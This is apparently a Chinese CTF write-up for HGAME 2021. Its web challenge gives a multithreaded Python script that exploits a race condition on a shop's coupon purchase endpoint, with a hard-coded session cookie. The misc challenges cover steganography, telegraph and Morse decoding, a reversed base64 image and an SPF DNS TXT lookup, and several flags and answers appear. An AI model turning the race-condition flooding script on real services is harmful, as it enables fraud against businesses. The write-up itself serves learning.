

Web

Liki的生日礼物

hint:条件竞争

商城

注册即送2000元，40元可换一张兑换券

52张兑换券即可兑换一台switch噢

如果你能送一台switch给liki说不定她会告诉你flag呢

用户余额	兑换券数量
120	67

兑换券

¥ 40

兑换数量

兑换

switch

52张兑换券

兑换

[illegible]

exp:

```
import requests
import threading
import queue

threads = 100
q = queue.Queue()
m = queue.Queue()

url = "https://birthday.liki.link"
user = {
    "name": "r4iny3",
    "password": "3"}
s = requests.session()
s.post(url="{}?m=login".format(url), data=user)

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0',
    'Cookie': 'PHPSESSID=o5o1758ifd5bup51dec8574em4',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}

data = {'amount': '5'}

for i in range(1000000):
    q.put(i)

for j in range(1000000):
    m.put(j)

def buy():
    while not q.empty():
```

```
m.get()
p = requests.post(url+' /API/?m=buy',
                  headers=headers, data=data)
print(p.text)

if __name__ == '__main__':
    for j in range(50):
        t = threading.Thread(target=buy)
        t.start()

    for j in range(50):
        t.join()
```

Misc

Tools

下载下来一个加密7z,一张jpg,压缩包名字提示f5隐写,打开图片备注可以找到密码,用F5-steganography-master提取即可得到压缩包密码。接下来几步思路相同压缩包名字提示隐写方式,图片备注即为隐写的密码,分别是steghide,outguess,JPHS。最终得到完整的二维码,拼接扫描得到flag

Telegraph: 1601 6639 3459 3134 0892

题目名字是中文电报码,用在线工具转换可得, **带通滤波器**

电码转中文 ▾

1601 6639 3459 3134 0892

转换

1601	6639	3459	3134	0892
带	通	滤	波	器

题目还给了一个mp3文件,拖进au分析一下,频谱图提示850hz,滤波器设置到850hz,音频中可以听到一段电码,滤波后可以看到莫斯电码,记录下来解密得到flag

Hallucigenia

Stegsolve分析,发现反相二维码,在线扫描扫不出来,拖进ps反相一下扫描即可得到一段base64。

ps.其实用手机微信就可以直接扫出来,不用做反相 (

扫出来是一串base64,解码后我们能看到GNP,从题干中推测这是逆序过的

gmBCrKROrUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSINKnmJpivW9IHVPrTjvkkul3sP7bWAEdIHWCbDsGsRkZ9IJC9AhfZfbpqrMZbtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUwINj+dgWpe1qSTEdurXzMRAc5EihsEfImIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRxs5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVxpV5cYU+Xx5sQTfKystDLipmqaMhxcgvpLqF/LWZzIS5PvwbqOvrSINHVEYchCEIQISICSZJijwu50rRQHdYUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAATAAAAFJESEkNAAAAChoKDUDOUIk=

编码 (Encode)

解码 (Decode)

↕ 交换

(编码快捷键: **Ctrl** + **Enter**)

Base64 编码或解码的结果:

☒ 编/解码后自动全选

R#(qxl')MB挢55挢t0)淪+鏘U08頂70FĖ
Zz9x5iZQn0à1UzU罇ly0+-00e.-fs!O0罇js0!0B0!"0ib0i0D<t_0 0-0TADl=00000000000000RDHI
000
0|
GNP

写个脚本跑一下，得到的文件改成png，再用ps垂直翻转一下，即可得到flag

```

import base64
f = open('C:\\Users\\HQL\\Desktop\\1.txt', 'wb')
str1 =
"gmBCrKROrUkAAAAA+jrgswajaq0BeC3IQhCEIQhCKZw1MxTzSINKnmJpivW9IHVPrTjvkkul3sP7bWAEdIHWCbDsGsRkZ9IJC9AhfZfbpqrMZbtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUwINj+dgWpe1qSTEdurXzMRAc5EihsEfImIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRxs5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVxpV5cYU+Xx5sQTfKystDLipmqaMhxcgvpLqF/LWZzIS5PvwbqOvrSINHVEYchCEIQISICSZJijwu50rRQHdYUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAATAAAAFJESEkNAAAAChoKDUDOUIk="
str2 = base64.b64decode(str1)
str2 = str2[::-1]
#str(str2,encoding = "utf-8")
print(str2)
f.write(str2)
f.close()

```

DNS

pcap先分析一下，找到http，给出hint,SPF,查了一下是**发送方策略框架 (Sender Policy Framework)**，用来过滤垃圾邮件的，授权的ip地址会记录在dns txt中，可以通过dig命令查询

79	27.477366782	192.168.43.11	172.67.148.67	TCP	74 [TCP Retransmission] 43550 → 80 [SYN] Seq=0 Win=64240 Len=0
78	26.888924764	192.168.43.11	172.67.148.67	TCP	54 43548 → 80 [ACK] Seq=374 Ack=946 Win=64128 Len=0
76	26.888806553	192.168.43.11	172.67.148.67	TCP	54 43548 → 80 [ACK] Seq=374 Ack=941 Win=64128 Len=0
77	26.888779402	172.67.148.67	192.168.43.11	HTTP	60 [HTTP/1.1 200 OK (text/html)]
75	26.888779352	172.67.148.67	192.168.43.11	TCP	994 80 → 43548 [PSH, ACK] Seq=1 Ack=374 Win=67584 Len=940 [TCP Reset]
74	26.848476643	172.67.148.67	192.168.43.11	TCP	60 80 → 43548 [ACK] Seq=1 Ack=374 Win=67584 Len=0
73	26.710122623	192.168.43.11	172.67.148.67	TCP	54 43552 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0
72	26.710068501	172.67.148.67	192.168.43.11	TCP	66 80 → 43552 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1366

```

</head>\n
<body>\n
<script>\n
    while(true){\n
        alert("Flag is here but not here")\n
    }\n
</script>\n
<b>Do you know SPF?</b>\n
</body>\n
</html>\n

```

How to check SPF record

如何查询某个域名是否开启SPF，可以使用以下命令：

```
# dig -t txt 域名(不加www)
```

只需要去查询 TXT 类型的 DNS 记录即可。

```
r4inyini9ht@kali:~/桌面$ dig -t txt flag.hgame2021.cf

; <<>> DiG 9.16.6-Debian <<>> -t txt flag.hgame2021.cf
;; global options: +cmd
;; Got answer:
;; -->HEADER<-- opcode: QUERY, status: NOERROR, id: 36965
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;flag.hgame2021.cf.          IN      TXT

;; ANSWER SECTION:
flag.hgame2021.cf.          5       IN      TXT      "hgame{D0main_N4me_5ystem}"

;; Query time: 284 msec
;; SERVER: 192.168.42.2#53(192.168.42.2)
;; WHEN: 四 2月 11 16:46:03 CST 2021
;; MSG SIZE rcvd: 73
```